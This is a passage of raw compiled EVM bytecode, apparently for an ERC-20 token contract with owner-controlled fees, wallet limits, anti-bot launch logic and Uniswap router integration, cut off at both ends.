21790555073de53e5adbac6a050385dc409230365933cc9ecb8600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073aa7339fabefb98f01c83f2dcfaf5101c2dc88076600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000e30565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000bbe5780860481111562000b965762000b9562000b30565b5b600185161562000ba65780820291505b808102905062000bb68562000b5f565b945062000b76565b94509492505050565b60008262000bd9576001905062000cac565b8162000be9576000905062000cac565b816001811462000c02576002811462000c0d5762000c43565b600191505062000cac565b60ff84111562000c225762000c2162000b30565b5b8360020a91508482111562000c3c5762000c3b62000b30565b5b5062000cac565b5060208310610133831016604e8410600b841016171562000c7d5782820a90508381111562000c775762000c7662000b30565b5b62000cac565b62000c8c848484600162000b6c565b9250905081840481111562000ca65762000ca562000b30565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000cd78262000cb3565b915062000ce48362000cbd565b925062000d137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bc7565b905092915050565b600062000d288262000cb3565b915062000d358362000cb3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d715762000d7062000b30565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000db88262000cb3565b915062000dc58362000cb3565b92508262000dd85762000dd762000d7c565b5b828204905092915050565b600061ffff82169050919050565b600062000dfe8262000de3565b915062000e0b8362000de3565b92508261ffff0382111562000e255762000e2462000b30565b5b828201905092915050565b615e668062000e406000396000f3fe6080604052600436106101a05760003560e01c80638c194bd9116100ec578063db7a46051161008a578063e4dbc45b11610064578063e4dbc45b146105f6578063f2fde38b1461061f578063fc38e48114610648578063ffb54a9914610671576101a7565b8063db7a460514610560578063dc55f5c714610590578063dd62ed3e146105b9576101a7565b80639f49c80e116100c65780639f49c80e146104ba578063a9059cbb146104e3578063b142180314610520578063c9567bf914610549576101a7565b80638c194bd914610428578063931b68ea1461045157806395d89b411461048f576101a7565b8063313ce567116101595780636969c1a4116101335780636969c1a41461036b5780636d1b229d146103945780636f89e409146103bd57806370a08231146103eb576101a7565b8063313ce567146102d857806358d2b4a514610303578063677ef84614610342576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806318839bc31461023f57806323b872dd146102685780632b38400e146102a5576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161069c565b6040516101ce9190614354565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190614414565b61072e565b60405161020b919061446f565b60405180910390f35b34801561022057600080fd5b5061022961088d565b6040516102369190614499565b60405180910390f35b34801561024b57600080fd5b50610266600480360381019061026191906144e0565b6108b1565b005b34801561027457600080fd5b5061028f600480360381019061028a9190614533565b610a2d565b60405161029c919061446f565b60405180910390f35b3480156102b157600080fd5b506102ba610c36565b6040516102cf999897969594939291906145bf565b60405180910390f35b3480156102e457600080fd5b506102ed610cf6565b6040516102fa919061464c565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190614667565b610cff565b60405161033993929190614694565b60405180910390f35b34801561034e57600080fd5b50610369600480360381019061036491906146cb565b610db1565b005b34801561037757600080fd5b50610392600480360381019061038d9190614732565b6110e6565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190614732565b611889565b005b3480156103c957600080fd5b506103d2611a28565b6040516103e2949392919061475f565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190614667565b611a48565b60405161041f9190614499565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a91906147a4565b611a91565b005b34801561045d57600080fd5b5061047860048036038101906104739190614667565b611b94565b6040516104869291906147e4565b60405180910390f35b34801561049b57600080fd5b506104a4611c3a565b6040516104b19190614354565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190614872565b611ccc565b005b3480156104ef57600080fd5b5061050a60048036038101906105059190614414565b611f17565b604051610517919061446f565b60405180910390f35b34801561052c57600080fd5b50610547600480360381019061054291906148eb565b611f73565b005b34801561055557600080fd5b5061055e61216e565b005b34801561056c57600080fd5b506105756122df565b6040516105879695949392919061493a565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b2919061499b565b6123cc565b005b3480156105c557600080fd5b506105e060048036038101906105db9190614a16565b6125ca565b6040516105ed9190614499565b60405180910390f35b34801561060257600080fd5b5061061d60048036038101906106189190614a92565b612651565b005b34801561062b57600080fd5b5061064660048036038101906106419190614b37565b6127bc565b005b34801561065457600080fd5b5061066f600480360381019061066a9190614b90565b6128c4565b005b34801561067d57600080fd5b50610686612b7a565b604051610693919061446f565b60405180910390f35b6060600180546106ab90614c26565b80601f01602080910402602001604051908101604052809291908181526020018280546106d790614c26565b80156107245780601f106106f957610100808354040283529160200191610724565b820191906000526020600020905b81548152906001019060200180831161070757829003601f168201915b5050505050905090565b60004360135411801561078b5750601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561079d5761079c33436001612bba565b5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161087b9190614499565b60405180910390a36001905092915050565b60006009600a61089d9190614db9565b6305f5e1006108ac9190614e04565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093690614ed0565b60405180910390fd5b81601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd1210f82d8da3a4173d7d74f8a9f5c81b8f83b77529ac2684baff199241f4ed0838383604051610a2093929190614ef0565b60405180910390a1505050565b6000610a37612ce4565b610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d90614f73565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c225781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ba19190614f93565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c2d848484612d61565b90509392505050565b6000806000806000806000806000600760029054906101000a900460ff16600760039054906101000a900460ff16600760049054906101000a900460ff16600760059054906101000a900460ff16600760069054906101000a900461ffff16600760089054906101000a900461ffff166007600a9054906101000a900461ffff166007600c9054906101000a900461ffff166007600e9054906101000a900461ffff16985098509850985098509850985098509850909192939495969798565b60006009905090565b6000806000806000601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d5157600190505b80601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760009054906101000a900461ffff16935093509350509193909250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3690614ed0565b60405180910390fd5b83600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f7e43be5031ac589eb5c09ce251f1670365b5fb2490f1705900323eeabf10ca51848484846040516110d89493929190614fc7565b60405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90614ed0565b60405180910390fd5b61117c6133f9565b156111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390615058565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611244906150c4565b60405180910390fd5b60008111611290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128790615130565b60405180910390fd5b6009600a61129e9190614db9565b6305f5e1006112ad9190614e04565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405161138d9190614499565b60405180910390a36001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561154d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115719190615165565b601660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000479050818110156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f0906151de565b60405180910390fd5b600061160430611a48565b905060008111611649576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116409061524a565b60405180910390fd5b6000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116dc9190615165565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b815260040161173892919061526a565b6020604051808303816000875af1158015611757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177b9190615165565b905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061187782613415565b611883828560006135ff565b50505050565b600061189433611a48565b9050808211156118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d0906152df565b60405180910390fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119289190614f93565b9250508190555081600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461197e91906152ff565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e39190614499565b60405180910390a37ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb63383604051611a1c929190615355565b60405180910390a15050565b600080600080600854600954600a54600b54935093509350935090919293565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1690614ed0565b60405180910390fd5b8115611b80576000611b3030611a48565b905060008111611b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6c906153ca565b60405180910390fd5b611b7e816136dd565b505b8015611b9057611b8f4761388e565b5b5050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1691509150915091565b606060028054611c4990614c26565b80601f0160208091040260200160405190810160405280929190818152602001828054611c7590614c26565b8015611cc25780601f10611c9757610100808354040283529160200191611cc2565b820191906000526020600020905b815481529060010190602001808311611ca557829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190614ed0565b60405180910390fd5b611d626133f9565b15611da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9990615058565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2a906150c4565b60405180910390fd5b81816000818110611e4757611e466153ea565b5b9050602002810190611e599190615428565b604051602001611e6a9291906154f0565b60405160208183030381529060405260029080519060200190611e8e929190614218565b5081816001818110611ea357611ea26153ea565b5b9050602002810190611eb59190615428565b83836002818110611ec957611ec86153ea565b5b9050602002810190611edb9190615428565b604051602001611eee9493929190615564565b60405160208183030381529060405260019080519060200190611f12929190614218565b505050565b6000611f21612ce4565b611f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5790614f73565b60405180910390fd5b611f6b338484612d61565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890614ed0565b60405180910390fd5b600060016103e88461ffff166009600a61201b9190614db9565b6305f5e10061202a9190614e04565b6120349190614e04565b61203e91906155d9565b61204891906152ff565b905060085481101561208f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208690615656565b60405180910390fd5b80600881905550600060016103e88461ffff166009600a6120b09190614db9565b6305f5e1006120bf9190614e04565b6120c99190614e04565b6120d391906155d9565b6120dd91906152ff565b9050600954811015612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b906156c2565b60405180910390fd5b806009819055507f72c1c0546833bfc2a43408333cd18ef1d9c882e9d46f89002a3fd40bceffe5f76008546009546040516121609291906156e2565b60405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f390614ed0565b60405180910390fd5b6122046133f9565b15612244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223b90615058565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc90615757565b60405180910390fd5b6122dd613bcc565b565b60008060008060008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955095509550955095509550909192939495565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190614ed0565b60405180910390fd5b84600760066101000a81548161ffff021916908361ffff16021790555083600760086101000a81548161ffff021916908361ffff160217905550826007600a6101000a81548161ffff021916908361ffff160217905550816007600c6101000a81548161ffff021916908361ffff160217905550806007600e6101000a81548161ffff021916908361ffff1602179055506007600e9054906101000a900461ffff166007600c9054906101000a900461ffff166007600a9054906101000a900461ffff16600760089054906101000a900461ffff16600760069054906101000a900461ffff1661254a9190615777565b6125549190615777565b61255e9190615777565b6125689190615777565b600760106101000a81548161ffff021916908361ffff1602179055507fccb4a96d4f7e36c9ba5f2b62187ca244ce0919ee883fa5ed88c3b5cb51a174b285858585856040516125bb9594939291906157af565b60405180910390a15050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690614ed0565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6126fb9190614db9565b6305f5e10061270a9190614e04565b6127149190614e04565b61271e91906155d9565b600a819055508063ffffffff168263ffffffff166009600a6127409190614db9565b6305f5e10061274f9190614e04565b6127599190614e04565b61276391906155d9565b600b81905550600a54600b541161277957600080fd5b7f325d25781eb858cfe3b3ede984fc8a66dd8e8be0b4a349189e05d0a35e6803bb600a54600b546040516127ae9291906156e2565b60405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461284a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284190614ed0565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516128b99190615861565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294990614ed0565b60405180910390fd5b8015612a14578360ff168360ff16116129a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612997906158c8565b60405180910390fd5b600760029054906101000a900460ff1660026129bc91906158e8565b60ff1683856129cb9190615923565b60ff161115612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a06906159a6565b60405180910390fd5b612a8e565b600760029054906101000a900460ff1660ff168460ff1611158015612a4e5750600760029054906101000a900460ff1660ff168360ff1611155b612a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8490615a12565b60405180910390fd5b5b600760029054906101000a900460ff1660ff168260ff161115612ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612add90615a12565b60405180910390fd5b83600760036101000a81548160ff021916908360ff16021790555082600760046101000a81548160ff021916908360ff16021790555081600760056101000a81548160ff021916908360ff1602179055507fad5f92c9aca612d1d1b2c7afafd77c1b96e3d9b873cad916be28888672cf919384848484604051612b6c9493929190615a32565b60405180910390a150505050565b6000612b846133f9565b8015612b9e5750600a601354612b9a91906152ff565b4310155b15612bb257612bab6133f9565b9050612bb7565b600090505b90565b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c5357506000601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15612cdf5781601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508015612cde576007600081819054906101000a900461ffff1680929190612cc290615a77565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b60008060009050612cf36133f9565b15612d015760019050612d5a565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603612d5957600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612dcc5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b612e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0290615aed565b60405180910390fd5b436013541115612ebe576000601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403612e6d57612e6883436001612bba565b612eb9565b612eb883601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000612bba565b5b612f52565b6000601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612f5157612f5083601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000612bba565b5b5b612f5a6133f9565b8015612fa657506000601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612ff0575043601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15613030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302790615b59565b60405180910390fd5b601660009054906101000a900460ff161580156130965750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156130a4576130a3613cf0565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561310c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613164575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156131b457613174848484613e87565b6131b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131aa90615bc5565b60405180910390fd5b5b60006131c1858585614016565b9050600081846131d19190614f93565b905083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321e9190614f93565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156132f95781600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132b591906152ff565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461334491906152ff565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516133e49190614499565b60405180910390a36001925050509392505050565b60008060009050436005541161340e57600190505b8091505090565b80600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156135fc577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516135f39190614499565b60405180